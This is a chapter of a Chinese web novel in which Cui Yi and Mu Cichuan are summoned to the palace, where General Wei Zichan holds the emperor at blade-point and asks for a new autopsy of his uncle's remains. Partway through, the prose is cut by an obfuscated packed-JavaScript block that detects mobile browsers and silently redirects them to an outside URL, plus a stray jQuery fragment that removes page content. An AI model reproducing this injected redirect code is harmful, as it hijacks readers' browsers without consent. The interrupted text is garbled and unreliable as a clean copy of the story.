穆辞川没有同他顶嘴的兴致,低头接着走路。那两条轱辘印拴在他面前,惹得他心里烦躁,他就把头又抬起来,看着天。 宫城已近在咫尺,天上果然有了乌鸦。 一只鸦从他头顶上飞过,鸦嘴里落下一张白纸,碰巧就落在他的脸上。 “呸呸。”穆辞川刚甩掉头上的纸,就又看到第二只乌鸦也飞到了面前,鸦嘴里同样吐出一张纸。而后便是第三只、第四只……鸦群纠结如同乌云,白纸纷落如同雪片。 每一张纸都是苍白的,纸上都写着漆黑的字。 “这是什么……”他在问崔疑,但他很快发现自己并不应该期待崔疑能够给出答案。 崔疑停下轮椅,捡起离自己最近的一张纸,没有看,而是直接递给了穆辞川,笑道:“这就是我的朋友送来的请柬。” 穆辞川看到那张纸上写的字是:恭请崔小公子入宫相见。 满地的白纸上,每一张写的都是:恭请崔小公子入宫相见。 这些乌鸦竟是信使?崔疑竟真的有皇宫里的朋友? 还没容穆辞川想明白,远处的宫门便轰然打开,一对乌鸦般玄黑的马从门里冲出来,眨眼间就冲到了崔疑与穆辞川的面前。 鹭娘的钉子已经握在了手心里。 马上的两个人披着甲,挂着刀,看起来像是城中的禁军。他们向着崔疑抱拳道:“阁下就是崔小公子?” 崔疑笑道:“恐怕是的。” “小公子!”两个人的脸上竟然都露出了惊喜的神色,好像松了一口气,“卫将军请小公子入宫议事。” 卫将军?卫子湛? 崔疑笑得更愉快了:“你们卫将军的叔父与我是故交,他若请我,我自然应该赴约。” “这就太好了!公子可不知道如今宫里出了多大的事!”一名禁军跳下地来,让出自己的坐骑,“小公子,请上马!” “不必不必。”崔疑摆手道,“我骑不了的。” “那么我来替公子推轮椅!”另一名禁军也跳下来,双手握住轮椅的扶把。 “等一等。”崔疑忽然冷声道。 两个禁军的脸色立刻变了:“小公子难道要反悔?” “那倒不是,我只不过还有一个请求。”崔疑抬手指了指穆辞川他们,“这几个人,也要跟我一起。” 两个禁军好像这才看到穆辞川等人,道:“这几位是公子的仆人?” 江南雀不悦道:“你才是仆人!” “他们的确不是我的仆人。”崔疑道,“他们都是专门替我牵狗的,所以准确地说,应该是我家小狗的仆人。” 一个禁军愣了愣:“狗在哪儿?” 另一个禁军道:“崔小公子想把他们也带进宫?” 崔疑挑了挑眉:“不行?” “卫将军只请了小公子一个,其他人……”禁军话没说完,就被同伴打断。那个呵斥道:“这都什么时候了!你还敢不听崔小公子的话?” 鹭娘与江南雀于是都坐到了黑马背上,两名禁军一个给她们牵马,另一个给崔疑推轮椅,竟好像要把他们恭恭敬敬地请进皇宫。 穆辞川的铁链还握在鹭娘手里。他悄悄地向前蹉了两步,凑到崔疑身边,低声道:“你是什么时候知道的?” 崔疑问:“知道什么?” “卫子湛要见你。”穆辞川说,“你肯定早就知道了,才会到这里来。” 崔疑笑了笑,道:“你记不记得昨天夜里,卫子湛明明已经看出祝轻尘很不对劲,却还是轻易放他进了寰丘?” “那时你说你想不明白,”穆辞川道,“现在你明白了?” 崔疑点点头,接着道:“他之所以不担心,恐怕是因为早就知道,天子今日根本不会到寰丘去。不过在我看来,则更可能是他与沈绣商议好,故意找理由将天子留在皇宫的。” 穆辞川惊讶道:“他也投靠了沈绣?” “倒不至于是投靠。你想必也还记得,他有一个死得不明不白的叔叔。” “他……”穆辞川忽然有点懂了,“他想让你帮他为叔父复仇。可昨夜在寰丘上他为何不提?” “卫子清是禁军统帅,他之死恐怕波及广泛。”崔疑道,“卫子湛是想借这个机会,让我当着宫里人的面将死因宣告出来,以为他的叔父正名。” 他想了想,又补充道:“能让他答应与沈绣合作的理由,恐怕只有这一个了。” 穆辞川道:“我还是不太懂。” 崔疑笑道:“你很快就都能懂了。现在你只需要感谢我带你们进宫而已。” 宫门是开着的。 宫里的景象,与穆辞川前几日见过的并无什么区别,只是没有了丝竹的柔响。整个皇宫都是死一样的寂静,路上不见一个人影。 所有人都围在蓬莱宫,把那里围得里三层外三层,只露出一角系着长命锦缕的屋檐。可是每个人看到崔疑来了,都自觉让开了一条路。 崔疑与穆辞川于是来到了宫殿门前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609374|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那里有一只硕大的紫金香炉,炉里燃烧着数不尽的纸钱。炉边背立着一匹白马,马上坐着一个银甲的人,人手里正横握着一柄一丈余长的陌刀。 两个禁军上前禀告道:“卫将军,崔小公子到了。” 卫子湛轻轻地拨马侧身,露出刀首。穆辞川看到那亮银的刀锋正架在一个人的脖子上。那个人端坐在一张华椅里,椅子两侧簇拥着满满的莲花。 是皇帝。 卫子湛正用刀指着皇帝。 穆辞川心里大骇,很想上前问个明白,可又说不出话。 在这种场景下还能说出话的人,并不多。 卫子湛算是一个。他那双清冷的眼睛看向崔疑,说不出是什么神情,淡淡地道:“你来了。” 崔疑则算是第二个。他轻轻地笑道:“你只差一点就害得我来不了了。” “我知道你肯定会来的。”卫子湛说,“抬上来。” 他一声令下,蓬莱宫后又绕出了四匹白马,没有人牵,四匹马都套在同一辆漆黑的车上。 等马走近了,穆辞川才看出那根本不是车,而是一口漆黑的棺材。 卫子湛又道:“打开。” 八名禁军走上前,合力抬起棺材的盖子。棺材里只剩一副白骨,胸膛处还破了一个大洞。 崔疑说:“这就是卫子清将军?” 卫子湛凉凉地道:“十二年前,叔父随谢中书抄灭故尚书令裴矫一族,因查抄有功,受邀参加新帝登基盛宴,宴后当夜便于羽林军营内被害身亡。今日正好是他的祭日,我想为他烧些纸钱。” “若只是烧纸,还不至于弄出这么大的动静。” “烧纸只能缓解我心中悲痛,不足以洗清叔父冤屈。”卫子湛接着说,“叔父遗体虽已经刑部检验,认定是陌刀所伤,但我实在不能相信,以叔父的武功,竟会被人用陌刀杀死。” 崔疑道:“卫将军的意思是?” 卫子湛沉吟片刻,道:“恐怕是登基宴上,有人给叔父下了缓毒,再于夜里伪造成刀伤,只为杀人灭口。” “杀人灭口?” “裴令君的灭族案,毕竟也不能算很清白的。” 崔疑的眼睛眯缝了起来:“所以你想让我再为你叔父验一次尸?你知道我现在总不至于还向着刑部说话。” 卫子湛说:“是。” 崔疑说:“好处呢?” 卫子湛那两道远山般的眉皱起来:“好处?” 崔疑微微笑了笑,道:“这种弄不好就要掉脑袋的事,我总不能白白帮你的。” 卫子湛思考了半晌,道:“听闻今日寒衣节祭祀上,你那位朋友刺驾不成,已被定下死罪。” 穆辞川支愣起了耳朵,听见卫子湛接着道:“你若真能查清叔父死因,我保证送他活着离开雍京。” “卫将军,”崔疑看着卫子湛,眼神发着冷,“你逼宫天子,也是死罪,怎么保全我的朋友?” “卫氏族人向来重名节,轻生死。”卫子湛缓缓地说,“我答应你的事,一定能够办到。” “好。”崔疑就道,“上锅。”